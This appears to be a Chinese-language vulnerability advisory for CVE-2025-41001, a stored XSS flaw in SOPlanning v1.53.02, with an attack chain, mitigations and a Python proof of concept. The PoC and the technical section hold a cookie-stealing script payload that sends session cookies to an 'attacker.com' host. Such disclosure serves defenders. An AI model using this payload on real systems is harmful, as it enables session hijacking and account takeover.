IPBUF安全漏洞报告
English
CVE-2025-41001 CVSS 5.4 中危

CVE-2025-41001 SOPlanning存储型XSS漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-41001
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SOPlanning v1.53.02

相关标签

存储型XSSSOPlanning会话劫持CVE-2025-41001跨站脚本WEB安全Cookie窃取

漏洞概述

CVE-2025-41001是SOPlanning v1.53.02版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于程序对用户输入缺乏充分的验证和过滤,具体表现在处理LOGOUT_REDIRECT参数时未进行安全校验。攻击者可以通过POST请求向/soplanning/www/process/options.php发送特制的恶意脚本,当其他认证用户访问相关页面时,存储的恶意代码会在其浏览器中执行,从而窃取用户的会话cookie信息,实现会话劫持攻击。由于该漏洞需要低权限用户发起攻击,且需要目标用户进行交互才能触发,因此CVSS评分仅为5.4(中危)。攻击成功后,攻击者可利用窃取的cookie冒充合法用户进行进一步的操作,对系统安全性构成威胁。

技术细节

该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,攻击向量为网络远程攻击。漏洞点位于SOPlanning的选项处理页面(/soplanning/www/process/options.php),攻击者通过POST请求的LOGOUT_REDIRECT参数注入恶意JavaScript代码。由于程序未对用户输入进行HTML实体编码或输入验证,恶意脚本会被永久存储在服务器端。当其他用户访问包含该恶意数据的页面时,浏览器会解析并执行存储的XSS payload。攻击者通常构造的payload形式为:<script>document.location='攻击者控制的服务器?cookie='+document.cookie</script>,一旦脚本执行,用户cookie将被发送至攻击者服务器,实现会话劫持。CVSS向量显示该漏洞需要低权限认证用户发起攻击(PR:L),且需要目标用户进行一定交互(UI:R),攻击复杂度低(AC:L),影响范围有限(S:C)。

攻击链分析

STEP 1
步骤1
攻击者注册低权限账户并登录SOPlanning系统
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的POST请求,目标为options.php页面
STEP 3
步骤3
发送特制payload:LOGOUT_REDIRECT参数包含<script>标签
STEP 4
步骤4
服务器未进行输入验证和HTML编码,将恶意脚本存储到数据库
STEP 5
步骤5
受害用户访问包含恶意数据的页面,浏览器执行存储的XSS代码
STEP 6
步骤6
恶意脚本窃取用户cookie并发送到攻击者控制的服务器
STEP 7
步骤7
攻击者使用窃取的cookie冒充受害用户进行会话劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-41001 PoC - Stored XSS in SOPlanning LOGOUT_REDIRECT parameter # Target: SOPlanning v1.53.02 # Endpoint: /soplanning/www/process/options.php target_url = "http://target.com/soplanning/www/process/options.php" # Malicious XSS payload xss_payload = "<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>" # PoC POST data post_data = { 'LOGOUT_REDIRECT': xss_payload, 'action': 'save_options' # Assuming typical action parameter } try: print(f"[*] Sending XSS payload to {target_url}") response = requests.post(target_url, data=post_data, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully") print("[*] XSS payload stored in LOGOUT_REDIRECT parameter") print("[*] When authenticated users access affected page, cookie will be stolen") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1)

影响范围

SOPlanning v1.53.02及之前版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用或限制LOGOUT_REDIRECT参数的使用;2)部署WAF规则过滤<script>标签和事件处理器属性;3)启用浏览器的XSS过滤器功能;4)对所有用户输入实施白名单过滤策略;5)监控日志中的异常请求模式;6)限制低权限用户对选项页面的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表